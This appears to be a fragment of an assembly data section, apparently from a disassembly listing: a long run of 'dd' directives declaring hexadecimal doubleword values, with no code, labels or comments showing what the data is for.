		dd 7B02E647h, 89E2E7DEh, 0F27868E3h, 3D7301BEh,	473E20CAh
		dd 0F0006B90h, 0F12FE310h, 5864309Fh, 69C4FC40h, 0C989A78h
		dd 18F3B103h, 0E074DA09h, 5FACE54Ch, 9F0807AFh,	0EC31C0D6h
		dd 0B1D3583Dh, 0FCC4348Bh, 0AD3C304Eh, 6C2F9538h, 1AB8BFA0h
		dd 280261A4h, 0C93DFB3h, 708C7BEFh, 6C0089D0h, 97773CC6h
		dd 0C54217F1h, 40701321h, 366FB4C8h, 340058CEh,	96FB0A3Dh
		dd 0FE4BBAh, 93CAEF74h,	3618B12Bh, 3F8F4D3Ah, 0FCD40FE9h
		dd 3937862Fh, 0BE3B0151h, 3C8E488Bh, 62AD065h, 0DA21DCA0h
		dd 0ECF2D327h, 8964410Ch, 41AD6050h, 7CCDDEFCh,	0FC1F3C7Ch
		dd 65690054h, 2BBA403Eh, 50DC094Fh, 4E698177h, 42F14820h
		dd 7C6E4E20h, 0D670AB1Dh
		dd 0EFAC42C0h, 11C19836h, 6F98035h, 77F0F2CEh, 0AF718Ch
		dd 0EC4566ABh, 0D497D701h, 0BF419E02h, 0E5BD93BEh, 6079E4C4h
		dd 256CCBE7h, 0B497611Eh, 5847B91h, 58ACAD3Eh, 0DD350059h
		dd 0A2D2381h, 0CA0F0BF0h, 0C8EBB394h, 482AABF8h, 537C8F0Dh
		dd 43E39C1h, 9D579DCh, 715451BDh, 1CFB180Eh, 9F0F0131h
		dd 0D7AC0B87h, 0EF41F4C8h, 78549B40h, 2D289EF0h, 4591F817h
		dd 8C5AC680h, 400029B5h, 617EE9F9h, 1095203h, 2BF168B2h
		dd 0C93D6283h, 0A102EBB9h, 8F7E6C41h, 0FBF4CA5Ch, 0E85570C4h
		dd 8ECF2C01h, 0DFAF57DEh, 0F2B94892h, 306BE2A0h, 12072154h
		dd 0F2A30ADAh, 0B4968150h, 0C0EE5239h, 89EA0801h, 515C7D97h
		dd 3E801E9Ch, 1DCFB44Bh, 8E69114Ch, 1A700136h, 0DEDC4C29h
		dd 90D2E4A7h, 0CAB517A8h, 4D0C006Eh, 7FCF1E2Bh,	0B87D9800h
		dd 0AB1D621h, 3CD835CAh, 23B43A78h, 0B0DF000Dh,	0F010838Eh
		dd 6717C278h, 0B804D144h, 0DC02020Ch, 0CD41A9Fh, 69B8B500h
		dd 3CE5EEDh, 487A6020h,	0CA995209h, 52C6CFBh, 0A3A04DBBh
		dd 898134D7h, 507CDCB7h, 4E43FCECh, 38D4FA04h, 1850B02Fh
		dd 620F9CB1h, 0C0228A48h, 0AF98CA85h, 0FA7CC0A8h, 5F718836h
		dd 891030BAh, 8B004C70h, 59C21795h, 293B541Eh, 0EDB0481Bh
		dd 0A79B30CEh, 0E32C2801h, 108E6ED1h, 78F8402Ah, 9C84BEAh
		dd 50191F07h, 0AEE38747h, 3896D9B9h, 57AAC984h,	0EEB8993Fh
		dd 3AB81640h, 0D41830B3h, 0C4F231h, 1CA1D9A5h, 5E17DB2Ch
		dd 10B5D71Dh, 0E0B17933h, 59B1634h, 7048A832h, 0E8AD53h
		dd 9D412BAEh, 1A4C3569h, 897BF3F1h, 477994F9h, 0E3008318h
		dd 0DC7E109Fh, 0E0484AA1h, 21C8A042h, 5B412670h, 0D1C8A970h
		dd 9A41867h, 5062B121h,	0FC593C00h, 0E55D1371h,	35BD278Ch
		dd 0FEBC80B0h, 7F1C4ED1h, 0BFD6B305h, 3CC5A73Fh, 0D9A02C27h
		dd 2CE9A13h, 99B09FE9h,	360165A7h, 984DED37h, 48B10C66h
		dd 0EE2FC415h, 89141D7Bh, 989806F2h, 2598B529h,	30215297h
		dd 33FC25ECh, 304EB2CCh, 9507DA49h, 903EB24Bh, 74B8B9F0h
		dd 9C6E5CD6h, 0CC00788h, 5E506172h, 0FC482DBBh,	59017283h
		dd 0F9B0BA81h, 0A880F7B3h, 589A1A33h, 310B658Ah, 5A4E018Bh
		dd 79D82644h, 0FBF98404h, 0E8091FC0h, 0B118A3C4h, 6E398896h
		dd 1E380534h, 2B32862Eh, 4EFC104Ch, 190524CFh, 80108474h
		dd 76533E5Ch, 0CF3320C0h, 1A73B77h, 3D93D6AFh, 7856504Fh
		dd 43F1BCC8h, 1E35004Eh, 0F5F33B19h, 2FAB4F36h,	7B233Ch
		dd 0BEA9D5E8h, 3000DA04h, 81E9A392h, 0ED072258h, 0C83C7AF5h
		dd 0A0B69ACEh, 95167258h, 648B97B0h, 3056D4C4h,	1E5160h
		dd 4CFC5B74h, 589F263Bh, 0E408AF09h, 0E210E54Eh, 5C1A4FEEh
		dd 943F9468h, 7AB87080h, 7903B47Dh, 0A9322C81h,	121A8090h
		dd 425A4C0Bh, 9B809900h, 2883F120h, 0C492374Ah,	94C05763h
		dd 0C500E38Dh, 58AB543Fh, 14D7D27h, 9CE2292Ah, 6B7BACCBh
		dd 40186C07h, 7AE47291h, 0D8BC4C69h, 99B8EE04h,	6890F5D7h
		dd 12A220ADh, 0C190E5D6h, 7956513Ch, 5C23B838h,	5A01F053h
		dd 40CAE0A1h, 0B0062FCBh, 3E897FB5h, 7203C8DFh,	4F47536Bh
		dd 0A4C0CEF0h, 717C1817h, 761DCA0h, 0D436EF19h,	638AC07h
		dd 0A883443Ch, 0B60024B3h, 27BBB9CAh, 19C039Bh,	9196474Eh
		dd 0E6517416h, 18533600h, 7BA0A930h, 0D45D3422h, 0E80124B8h
		dd 0DBD3DF81h, 8072BBA5h, 0DF306BF2h, 41690152h, 1EDE2875h
		dd 0AD7CC861h, 9F482195h, 0B0004B66h, 52130A10h, 8F1E7A0h
		dd 7C8D6052h, 64465CA0h, 0C5A42801h, 30699B98h,	0A75EF2F0h
		dd 47C4A88Bh, 0BFEB3057h, 0FC06543Dh, 5DEC0092h, 0C8048F77h
		dd 0E00354Ch, 7B2D4D9Eh, 0FC7C5603h, 45890EEh, 550789FAh
		dd 0CDB5323h, 0F40C3A80h, 63138E0Fh, 14E45F7Ah,	312620A7h
		dd 5660F201h, 90E4850h,	4DFA9C41h, 0B12E14D0h, 7445A568h
		dd 30674E64h, 96B0CE55h, 3C0060B2h, 3DE96B2Bh, 5B067319h
		dd 980C2016h, 3680FB83h, 3C6626B4h, 54E882A4h, 60E42BA4h
		dd 8015A73Bh, 0A9D729BEh, 0B288583Bh, 4F62202Ch, 280D2E2Ch
		dd 369F2DC0h, 2588B298h, 380EEB41h, 0C6CA29E7h,	63D29D7h
		dd 0A51300ADh, 0EF0D67B7h, 79FD612Ch, 52128931h, 44E4B0E0h
		dd 0BFFF3B1Eh, 0B434CC80h, 13D6B1Eh, 0C04BA159h, 0C4806EA6h
		dd 37342635h, 0A408E91Ch, 0A261C043h, 0DA46B80Fh, 0FE004522h
		dd 3B6DA538h, 5ED0971h,	7EEF2DD6h, 0E0A09169h, 95CA0172h
		dd 23142F2Ah, 64DD00EEh, 7FDE0EF8h, 9CB6D5F4h, 0C0F3163Eh
		dd 64F284E2h, 40306730h, 454074F1h, 897E160Eh, 1C8CC08Fh
		dd 2E12D7E3h, 0C439AB3h, 90124236h, 2A93AB9h, 65D8C8EDh
		dd 0B8478F4Ah, 42614544h, 0C1003C01h, 0E264C418h, 10FE1830h
		dd 639DEA7h, 0E90974F0h, 0C9472518h, 274C7C40h,	0F8B82148h
		dd 4C0F8C69h, 401C6BEEh, 9FDBD651h, 0AD89652h, 2438BE6Eh
		dd 0A34674A8h, 0A980C53Ah, 5B5D3A31h, 0DD0D7702h, 61D03EA7h
		dd 527010C6h, 0B202797h, 8E8F945h, 0DDE09B4Bh, 4B49BB40h
		dd 0E81CCFECh, 17370BF0h, 0D4708574h, 3426875Bh, 0D4492518h
		dd 783E2852h, 38D38076h, 4FD66DEFh, 6C07502Ah, 66750F5Fh
		dd 280B930h, 929FC841h,	0B6E5231Dh, 5064007Ch, 898194CAh
		dd 10AF08FDh, 40343739h, 0A3BC40ACh, 9F6A1F8Ch,	0FE035E4Bh
		dd 0E86F1880h, 0DC997F4Dh, 89DD4Bh, 0DF3E5683h,	66B00817h
		dd 7B2F88CFh, 76AC4995h, 7CFA09C6h, 73973844h, 771578E4h
		dd 8813B554h, 9C1B83B8h, 0BF265E02h, 0E010E174h, 17F6941Dh
		dd 1306EE4Bh, 0F0C3057Ah, 0F9C054CAh, 53CF1B02h, 38D1EC73h
		dd 0F3187A79h, 4D10444Ch, 5021BC60h, 0B5B4AAh, 1ACF51B8h
		dd 0D58088C4h, 0ECCE495Ah, 304EFC84h, 4B5D4B1h,	0F1270B67h
		dd 0C84C8E61h, 0FDB2C007h, 0E207D7BAh, 0D69ED949h, 0C615C13Eh
		dd 0A4448138h, 14F02812h, 0B4180107h, 28FC0E67h, 17DC7C09h
		dd 0A890DF36h, 4B801850h, 5AC5E26h, 928D4E8h, 3C76B008h
		dd 0A5870E81h, 0F9E0A96Ch, 146A5C03h, 54FDDC04h, 6012AEEEh
		dd 0FC8008Bh, 775480CEh, 1D52C3Eh, 5D966ED9h, 7F9C6D0Eh
		dd 0BD071C6Eh, 895FB73Dh, 0B05BB8E4h, 0E005A040h, 0E9B71A6h
		dd 28DBAB65h, 0E656CCE0h, 470BD01Dh, 0ABC4109Eh, 13CC460h
		dd 0F424CC44h, 303E6489h, 30461AACh, 481A53C7h,	0F327053Ah
		dd 3894B787h, 0D0C0B49Bh, 43319A24h, 0D4C31204h, 12EE70C5h
		dd 0E0B0F634h, 1EDF54BAh, 40F24226h, 0D0B9D71Ah, 0ECA8EB99h
		dd 3109AAD2h, 0C771918Ah, 60046490h, 9A3549h, 0DBA2368Ah
		dd 0F65DC31Eh, 8FB57414h, 65704A4h, 0BCF3E5F2h,	633043E2h
		dd 0A17802E5h, 2D3D65ABh, 4318BC48h, 58073626h,	0A43FC826h
		dd 0E821E0D4h, 0E42C6525h, 0C10863EEh, 0EA705040h, 4424A74Eh
		dd 0B4BD6003h, 0FA6703B9h, 47EAACE5h, 617E6CF9h, 0C049A71Ch
		dd 0B3F16A0h, 0EF68C4F4h, 24893012h, 0B442F04Fh, 1EBCF973h
		dd 0D13B4053h, 81244CE4h, 15DCB300h, 0F1C1F550h, 0CB5F34D2h
		dd 9CC48E28h, 0A4803AE3h, 0B775F97Ah, 87D81A0h,	9A1A1E09h
		dd 911497BCh, 93FD8079h, 1C290762h, 957ECC4Bh, 0A58E83Ah
		dd 759C44h, 0A512AB6Dh,	0C14DCCEDh, 0F4D3E54Ah,	43A4B067h
		dd 0B3C615D7h, 907C8C61h, 302B0132h, 0C10B741h,	0D626D04Fh
		dd 2598A14Dh, 116417ABh, 884B8049h, 2718ACF3h, 0C4A265CCh
		dd 1C4772AFh, 0EB6004C4h
		dd 4E004ACBh, 24C04C77h, 16BF6C76h, 0CB5D6938h,	0C164C82Ch
		dd 6B109206h, 4645C447h, 75638D27h, 28D8B812h, 3E8F2744h
		dd 545268A0h, 4100376Eh, 0B88D8427h, 2B174A5h, 55D7DD97h
		dd 0C8F4C77Ch, 6B060D01h, 0B2EB1E58h, 0A3D4E8EBh, 0D0F491A9h
		dd 8656DFh, 3099C0B6h, 32AC499Ch, 40B9E000h, 3711F331h
		dd 0D0C895A2h, 56021EF0h, 700EEF49h, 922C5452h,	7468E438h
		dd 98C2E400h, 6A5F2D8h,	9BCCFA72h, 0AF378A4h, 0F4BEED1Fh
		dd 77B28340h, 589E64h, 3689FAAFh, 71F3A04Dh, 8400D09Eh
		dd 0A773AD1Eh, 39F1E38h, 0B27D8470h, 0D954E454h, 84092A0Bh
		dd 6010ED32h, 0B4946856h, 0E403395Eh, 8A9D81E9h, 90CD157h
		dd 74E8BD7Eh, 0A5F9FDEh, 0CE6E6801h, 7A2AF3E4h,	0DF0201B0h
		dd 0D1BE3760h, 5AB6C270h, 521842FCh, 84FEA7A0h,	7E419F00h
		dd 9DE61939h, 2600C437h, 0E9878D4Bh, 2DE3162Eh,	0F294F2E5h
		dd 658E30F9h, 0D7A9FF00h, 9D198C87h, 20AD00F1h,	0BD7D2BC2h
		dd 0B0BCCF70h, 0E4676h,	0E1B35845h, 21E2D08h, 0FDBD8FCFh
		dd 30DB6E7Dh, 12533078h, 0F4AC7540h, 78B4B050h,	5E55C68Fh
		dd 76DC7Dh, 0DB4DCF08h,	0B9721927h, 180ED1A4h, 982600DCh
		dd 8BE001E7h, 0F0B93739h, 0F9609CD3h, 0EF009984h, 6BD8EC6Eh
		dd 4E6D69Eh, 0D9E918BFh, 0F1B8F292h, 0F30C56D4h, 0E65E1B00h
		dd 0ED4E46F9h, 202EF16Ch, 0FF34FC34h, 12E0D38h,	0B6BA98F1h
		dd 0EFE0D466h, 44E4FEAh, 0AB4502B8h, 5216DC6Eh,	0B5881FEh
		dd 741A003Bh, 0CC849DE5h, 0F204A1AEh, 43755h, 68A68F6Ch
		dd 4D01EA0Dh, 48539FC0h, 0A0205CDAh, 0CE954AB2h, 0C06688ECh
		dd 8D9BFB7Bh, 0B018530Bh, 20804676h, 0B30055CEh, 5D518F89h
		dd 5BCCF009h, 80249458h, 197C1B0Fh, 59B4859Dh, 885F48A4h
		dd 0AC701E96h, 0CE6D300Bh, 0A0B0D004h, 9A94F06Ch, 93EA2600h
		dd 0F9217470h, 5CC1804Fh, 0D7D4CE35h, 0A1E1E200h, 0F7698B49h
		dd 51590058h, 2C24BC42h, 0D0EF3A79h, 6E06D406h,	28DCE117h
		dd 0B7C43911h, 0A8B27700h, 50A5D092h, 215808CCh, 0C4CE066Bh
		dd 109454ECh, 0B16F50C7h, 6D170048h, 8F7E6518h,	7203BDFCh
		dd 0ECF9D38Ch, 91B5F26Fh, 6BC8CB34h, 91C821B2h,	0C4C26760h
		dd 80ED2211h, 898D7200h, 0ED02DFBh, 69A80397h, 3E98C41h
		dd 3F1E5BB1h, 0A27D10C0h, 2DA100BAh, 0F1524BFCh, 20C0B3A7h
		dd 0D1A5148Dh, 1098620Fh, 88A1BF36h, 9177355h, 2188540Ah
		dd 9CAA05C0h, 5B1E0053h, 667B4001h, 551B0624h, 2390602Eh
		dd 230B658h, 0A750B26Ch, 0C76400B4h, 0E98F33C4h, 15C2E32Eh
		dd 29250906h, 0AC0A0051h, 17CBC061h, 520059E0h,	405A7088h
		dd 584437F8h, 6E0ADE65h, 80A018EDh, 7E13BC8Ch, 0B00CE294h
		dd 8B2AD2Bh, 5221C08Eh,	282A13B4h, 0AE312103h, 0C0C07475h
		dd 605DCB93h, 33D46024h, 0FCA85398h, 83050F79h,	0F4F5CB90h
		dd 0C9631044h, 9903EC0Fh, 3100723Ch, 0B6E46DA6h, 37C9588Eh
		dd 463C8718h, 0B30021AAh, 969BE785h, 86A992h, 373166F9h
		dd 2C1BF6E5h, 3B81CB00h, 991FC736h, 0A7280327h,	7CC65339h
		dd 0F5AF3E90h, 29063B00h, 0C1880538h, 0CB58C0D3h, 9F86EDEBh
		dd 0EAEE6000h, 0AE85BD25h, 2E810714h, 46844294h, 0D4004087h
		dd 24ABC24Ch, 0CEEB78B8h, 0CB836578h, 117FDFDBh, 45584300h
		dd 387C2F40h, 0A709CC48h, 3B008B21h, 0F7FC7758h, 1D26881h
		dd 4576A3F6h, 8083AE84h, 69110268h, 0C3A0C14h, 41B47454h
		dd 330CC118h, 0B91FD36Ch, 0A51007Bh, 0BFA7A244h, 0FF669AEFh
		dd 1F210E08h, 460A48DEh, 81C2D525h, 471F1400h, 0FA393386h
		dd 61DA0C6Ch, 1B3038F3h, 0C8002974h, 0F68568A1h, 75CC3A0Fh
		dd 0DFBC006Eh, 0D62C1DFFh, 6F9056Fh, 29D4690h, 0A2490A56h
		dd 1013314Fh, 0A4DD9h, 0CC03D83Bh, 0E1709873h, 0CBE81A60h
		dd 602C9FFAh, 485A88C1h, 3B502ABAh, 9C40E280h, 0C7730024h
		dd 47B81AB2h, 0A50ADFA1h, 60433CCBh, 0AE648C00h, 0C77B4D6h
		dd 9FAD1C0Fh, 21C08408h, 0AFAE6CF9h, 126201B8h,	8043E22h
		dd 6808206Bh, 1BC71A03h, 0E12D0F80h, 18800654h,	8F3FDAB2h
		dd 62EE2B56h, 0F8C8EB2Bh, 50584600h, 867F4740h,	8AAE44h
		dd 36BB583Eh, 5682FCC2h, 68CB19C6h, 24DB7C58h, 1124EE4Ch
		dd 584980C9h, 0A43F4057h, 8DD3442Ch, 5E584125h,	43400CF0h
		dd 702AA040h, 0D615DC29h, 26BC1868h, 7402CD24h,	87B8F49Eh
		dd 45C5A6E4h, 0AE699C60h, 4FB423D5h, 0FA009011h, 4205AE91h
		dd 0A7051335h, 0E0BC7143h, 769CAAC0h, 0DFD0A3E6h, 2931ACh
		dd 19DF01BAh, 4C92E181h, 0BDAE0607h, 4283597Eh,	8D29388Eh
		dd 82A04B80h, 8331E048h, 5A113204h, 5380FE6Ah, 499254h
		dd 0AD61433Ah, 0EF451F75h, 41C07F64h, 0D1AE9560h, 116FB423h
		dd 9DFE008Ah, 78E4F8AEh, 7AC7A68h, 323882DDh, 1FB551h
		dd 4B1B59F4h, 0D0A8EEE3h, 7E01D50Bh, 9F37706Bh,	2ACB68DFh
		dd 3AC0508h, 0FD7ECD32h, 318067EAh, 48DD2274h, 88B4A615h
		dd 0AE92C03Eh, 6746B4D0h, 0FF009122h, 9052AE9Ah, 1DF5572h
		dd 0C9F64C25h, 80F2E3E7h, 19D8AD99h, 1459AE47h,	0F473D6B5h
		dd 0F8063D80h, 3E6F5C4Dh, 0A4428351h, 0D01FA5B2h, 3020FE12h
		dd 0C30FD3CBh, 0C8EF6139h, 0C51EA7E9h, 0F639F802h, 74019777h
		dd 0B2F26524h, 2C32D0BDh, 5DFE5A00h, 0DC856008h, 0B0D8D703h
		dd 98F409F7h, 25193D6h,	0D514AA4Bh, 0EC410B86h,	0A69192FBh
		dd 9623D82Fh, 8800FA2Ch, 39F7E5CFh, 65F41455h, 3210B43Ah
		dd 0F5071499h, 832C4091h, 0E9C04179h, 0AEA45468h, 32D20147h
		dd 788F11EDh, 13882ABh,	446B3059h, 2494600h, 70697ED7h
		dd 0B9FC31C7h, 7ECF0521h, 2C8093B9h, 309E71EFh,	4D58A28Ch
		dd 3701E81Eh, 0C62F25ADh, 94369A33h, 460A5707h,	0FC448A2h
		dd 0A4ED841h, 2C0F37Ch,	8F0C91BAh, 211D7AD6h, 11012A2h
		dd 1EF400FCh, 4CF01C28h, 5B656300h, 0AD138D06h,	0BEF0088h
		dd 3219EECBh, 726F6ACh,	0FA01983Bh, 6C592BF4h, 397AAC32h
		dd 0D4029D4Ah, 0C60FDFB4h, 0B0C3EC6Dh, 70349022h, 0DD0932B4h
		dd 0E06E3AD0h, 4CDE0724h, 482886Fh, 24CD7BB7h, 710C43Ah
		dd 9E8EC718h, 135D7910h, 0A9441C86h, 0AE704AF6h, 8D7B06C8h
		dd 949051EFh, 0E4D7362Ch, 0CDC84990h, 61584DC2h, 0C0365F70h
		dd 8100AF22h, 57615845h, 496B0BE3h, 3A9248FDh, 852350h
		dd 682A6A8Dh, 6015D0Dh,	0CD62875Fh, 0B9AC1EA3h,	11467400h
		dd 58A84B00h, 0AB0687CCh, 140EA498h, 21AADBCEh,	0A5E4ED33h
		dd 0B01885C0h, 0CC8481C4h, 58084A18h, 0C467404Ch, 429E41ACh
		dd 0FAC41D58h, 0D1806398h, 2106C0D5h, 0FDEED6FCh, 768C0042h
		dd 8FEE803h, 0A20B3F02h, 22F94570h, 261D7458h, 56018A0h
		dd 60E84890h, 0FF5531FCh, 23FB7918h, 900B7B7Ch,	37A7654Ah
		dd 3FB90008h, 74EF16D4h, 5CDCD751h, 54B1439Ch, 0A520039h
		dd 62515D11h, 70C51271h, 0B4010C0Eh, 9CA09030h,	0EC34B96Ah
		dd 0C2EEA0FAh, 70403B18h, 8055B8A6h, 0A2F433B0h, 0FD1E30AEh
		dd 4F0DDD00h, 0C08E709Ah, 52B0C0A1h, 4DCB7B69h,	24099172h
		dd 20F8E09Dh, 0A120574h, 36D0176h, 0E248323Dh, 80FD8F0h
		dd 0F2913000h, 0D39B4BD1h, 0D6BCA821h, 1CF1008Dh, 0C0EC47E4h
		dd 404CBC48h, 9EFA82A4h, 5288A233h, 0B8DCC05Bh,	0D81D60D0h
		dd 9DF0556Bh, 0D4450901h, 8DEA684Ch, 30781C29h,	6D49FAE3h
		dd 0C100E587h, 0DFA29F21h
		dd 4BAE39h, 989D909Ch, 0CA47FF06h, 3B4AB402h, 80EB5F82h
		dd 6D31F440h, 58A64948h, 40C1CAC8h, 37CC5658h, 0D244867Ch
		dd 0C870F588h, 99EE00C0h, 3CA7AFCCh, 6A01F972h,	9C4289F0h
		dd 0DC4484AAh, 6891A4D9h, 81448BCEh, 7F5740C0h,	9C345Ch
		dd 9EED583Ch, 82163FB0h, 0AD391A73h, 0C7B30901h, 0CB2C417Fh
		dd 0D2F24033h, 1EFA30h,	46BCA251h, 425B6709h, 6C27ED02h
		dd 0A0D16FDBh, 0EE7A9AD8h, 5D3625FEh, 3A422898h, 0AFC81C0h
		dd 295B02B2h, 0CB8EC33h, 0B5213998h, 27DC0416h,	0B9EA9404h
		dd 303B70C2h, 0D317AE93h, 6C389FB4h, 0AE9B00ECh, 4D97F239h
		dd 240E3FA9h, 0E028ED1Ah, 46B4EC5h, 0C19B0037h,	0B03A2C8Fh
		dd 422EB9CAh, 1B12B0D6h, 0C038F008h, 0B4D2AE90h, 8B229746h
		dd 0AE98ED02h, 0E06F958Fh, 2479686Ch, 86CC0C09h, 4C302C86h
		dd 0B7463706h, 107701h,	321C7B2Bh, 0BB6C7640h, 4AFBF50Eh
		dd 86D42746h, 205E90C1h, 8A3C2181h, 0D8A5CF03h,	9D667A64h
		dd 0B213909h, 0FF03825Ch, 200918Fh, 0C137D16Dh,	0C51BD198h
		dd 0BF582407h, 8A7417B0h, 0A6821C22h, 0C9660034h, 0FD3B407Ah
		dd 0E081AB60h, 0CFF411Ch, 0AA32876Fh, 44741AA0h, 0CE60B0C0h
		dd 0CC98ADFh, 0C13640BAh, 21C05A09h, 0DBDFC680h, 297700BDh
		dd 4B48DB0h, 86804039h,	0ED5F3F6Ch, 7BBFBC0Ch, 0F330EAA0h
		dd 28887949h, 968CA97Ah, 39EF5D4h, 445690FFh, 87760F7h
		dd 72BC21C0h, 76D6A9F5h, 3557A84h, 70FF981Eh, 7C80B57Dh
		dd 3E0CBD6Eh, 48836CD5h, 0D0566420h, 0DFD46072h, 0EAC92190h
		dd 0DFCC86C0h, 8E9F00ACh, 72BFD52Eh, 0B528B7A6h, 0C901E48Ch
		dd 5450B203h, 9852867Ch, 0DFD0306Eh, 0CAC98C11h, 82805988h
		dd 0D455DFC8h, 49E5142Ch, 98008453h, 0B7266ECBh, 68C19F99h
		dd 4D360C3Fh, 10939108h, 0D0038B01h, 34187EA5h,	835D88h
		dd 450FB403h, 0F182A096h, 47C95903h, 281DDE7h, 9513CD60h
		dd 0D12E57D9h, 0D4038F80h, 0FF8C9EA5h, 3876110h, 3EAD9900h
		dd 0E7A84A3Fh, 0B9846121h, 15F09FCh, 60E8BD82h,	43A4059h
		dd 8F1C41C0h, 19B63C1h,	4D7C5809h, 5A7BDE7h, 5E224481h
		dd 41EC4092h, 0ACB82B24h, 4FA04377h, 490B2283h,	80FC91DAh
		dd 23DDBD56h, 1268913Dh, 792C6087h, 0FF219DF5h,	71BBC088h
		dd 0BDE687F5h, 0DE58E700h, 5FA0836Eh, 9D58A031h, 0C500073h
		dd 53F96D62h, 717FBA4Ah, 1F6E3507h, 65200156h, 6005BF20h
		dd 0D5A1C895h, 0EB01D1DBh, 23B353D4h, 50801D77h, 500D286Bh
		dd 61C092FBh, 0D59E886Eh, 39EF079Fh, 0C138344Ch, 0A85CA085h
		dd 7019D081h, 9C11B506h, 4404C7F0h, 993E5235h, 8CBB8139h
		dd 84B3209Ah, 21460898h, 39029173h, 47F5BD63h, 3D94802Eh
		dd 15162BA2h, 2C33228Eh, 9A01C823h, 94BB7739h, 9274040Eh
		dd 0AB0F9B39h, 4D5F1890h, 9BC7CD9h, 0ECFBF837h,	93251480h
		dd 1573FC07h, 8844FCA2h, 3B42DA00h, 0CF417E16h,	5F19C687h
		dd 130F2129h, 0A077F3A4h, 82529514h, 0E60B020Fh, 96EDCFA9h
		dd 74C4B88Ah, 3E725A46h, 7403F8ECh, 450675C5h, 8ED3D902h
		dd 60F1D881h, 48DC67h, 0AF713F97h, 0AC17A79Eh, 3D2ABC3Bh
		dd 1C758555h, 87C4AB31h, 0DFCF4020h, 0C2C9238Bh, 81075811h
		dd 4012DFC7h, 0A6844A80h, 0BDF80202h, 804C13FDh, 36E06CA4h
		dd 6DFA2A4Fh, 0B22B3F84h, 286416Fh, 0A5091923h,	90830DBFh
		dd 84442E1Ch, 90029646h, 0A6A5D503h, 62103531h,	0E4030388h
		dd 9308B731h, 1B901063h, 2BC60651h, 0B08142BEh,	36A601B6h
		dd 0E3D9FF64h, 1B34605Ch, 13BC6C49h, 2C3A76F0h,	5003923h
		dd 5695895Fh, 0EE060D94h, 0F9888B47h, 8D5C001Fh, 80CD7B41h
		dd 2B2AD640h, 29F0DCC0h, 42197F67h, 72D1E460h, 80FC1CE1h
		dd 8A312D7h, 0D3C07114h, 46C98FDFh, 5522E2h, 0BEDFCB85h
		dd 0D3B9FFD1h, 92E86B67h, 5A6C0370h, 74D64C9Dh,	0DE013700h
		dd 0D285A193h, 23080A48h, 0DFD1036Fh, 8EFCC98Dh, 80833E48h
		dd 75E671DFh, 0D80B073h, 46BA2C6Eh, 0AA2BF421h,	0D6EC3A50h
		dd 0FCD83848h, 96008C4Ch, 7F57A3B5h, 240185C5h,	402C1BE0h
		dd 0CD079BBh, 8E247B00h, 3D8B0EE5h, 0A12879F3h,	8D1893E8h
		dd 0A5D20308h, 4037C48Eh, 0CD03855Fh, 0A581F4Ah, 0E760C011h
		dd 530BB1A7h, 3798A4A0h, 8EDB5907h, 5D60402Bh, 37B06F18h
		dd 0B091C941h, 0F631AFC6h, 487B24h, 0F1DBDC00h,	34B27587h
		dd 84869A3h, 98C0C684h,	46BB7539h, 1472284h, 53399072h
		dd 80882842h, 48160A69h, 3EC2319h, 597B8C20h, 1EB0605Eh
		dd 0BC79426Eh, 99939205h, 0ACD2D7A9h, 7E84418Bh, 84411E21h
		dd 83045153h, 14D46B88h, 0C1980058h, 69A7C845h,	3E262813h
		dd 2948A0E4h, 3C81C080h, 93CB12AFh, 7ADF3B07h, 4F60591Dh
		dd 0C1349DF9h, 61E7A7B8h, 0F0F4219Ch, 0F8C8F52Ch, 399FC0CDh
		dd 0BC46BB7Ch, 79004D22h, 9CB13997h, 0EE6523D5h, 5772EF1h
		dd 71E540D8h, 112F8ACh,	3413C0DFh, 4923383Fh, 0EA27D800h
		dd 54B72C4Ch, 6728E854h, 65A6F184h, 0CB168008h,	0BA901115h
		dd 59C1301Dh, 9891D4h, 0CF823823h, 2901F5A7h, 7178215Fh
		dd 57184Fh, 0CEEA53ABh,	9EF3287Bh, 0DD000670h, 0DC4FE7ACh
		dd 94AB1413h, 57465C7Ch, 0C9811D38h, 0CFCDBBC3h, 0A1F8402Fh
		dd 0F51955F4h, 0CE101E3Fh, 38BCF028h, 0D14268Ch, 0F8CC006Eh
		dd 47FE8F46h, 2C500A3Ah, 9D80D895h, 0B1987008h,	7DF92A7Eh
		dd 4680B0ACh, 0F5750283h, 3168FF99h, 6DB7108Bh,	65B200F5h
		dd 7701B515h, 0D24CF45h, 0A002348Dh, 0A2489D85h, 0A0521BA8h
		dd 67BEA380h, 6580001h,	8736B9F5h, 5D008C9Ah, 43F928E5h
		dd 413EAF7h, 931F950Bh,	0B859817Bh, 0A6E4745Bh,	42493516h
		dd 9DF67C09h, 804E1164h, 7B49E206h, 0E10031Fh, 228C7C6h
		dd 0EBB62BC1h, 23F86948h, 0DFD50173h, 63F2C991h, 0CD8780CCh
		dd 16119DDFh, 298C8EB3h, 0A8D429A8h, 99650716h,	0E0F2A692h
		dd 5BCE5EA4h, 4DC7CD10h, 4FDA0104h, 1D8D0B42h, 805D1150h
		dd 75CD66B7h, 71110033h, 0A74B6C56h, 40613FA9h,	0E1035D58h
		dd 8FB8B82Ch, 42B4028Ch, 0EB621BACh, 86C934E0h,	4770CB81h
		dd 598CA036h, 90486166h, 8A98C641h, 842F5F41h, 4B505880h
		dd 50D85AE2h, 0F2A008h,	463E1D19h, 1263A832h, 39852A34h
		dd 5ED7A481h, 839A0717h, 110B5057h, 37F50203h, 0AFA7837Ch
		dd 0E7F845A4h, 0D30E85FEh, 0ACFC082Ch, 39F7C84Eh, 2706F489h
		dd 0E97EE1E7h, 97326DA0h, 9104FCACh, 0AEA5D603h, 63C0C0B2h
		dd 0EC970389h, 336DE405h, 0E488B42Ch, 0F22B10C9h, 0EF9D0649h
		dd 2E68A245h, 88EC7E10h, 0F8A44DFBh, 3F89B118h,	0A214BFCh
		dd 5648868Ch, 763946h, 0F2E37B6Ch, 0BF31A2Bh, 89ACA259h
		dd 121037E0h, 97200CFh,	0E7500B6Fh, 50898D2Ch, 50880592h
		dd 8CED21EFh, 65B8E08h,	78D124A7h, 74028246h, 60FF98F5h
		dd 0B6108D31h, 3C00F56Ch, 9086CD55h, 9FEDADCh, 3F9F856Dh
		dd 10495491h, 0FA439EC4h, 736218B9h, 4FA9D08Fh,	5286C48h
		dd 25FBD5BBh, 2BA72CD0h, 0B73C00C2h, 1DD2130Bh,	0D1D049E7h
		dd 398E14DCh, 8C35F8C0h, 7390AF02h, 0E014A40Fh,	252C4408h
		dd 1CB5AA96h, 31F1D180h, 0EFF62FAh, 7CF439A1h, 5FABB9A2h
		dd 54E1ACEBh, 67CBD07Bh, 5DEFA80Ch, 1343C8A0h, 0CE36D233h
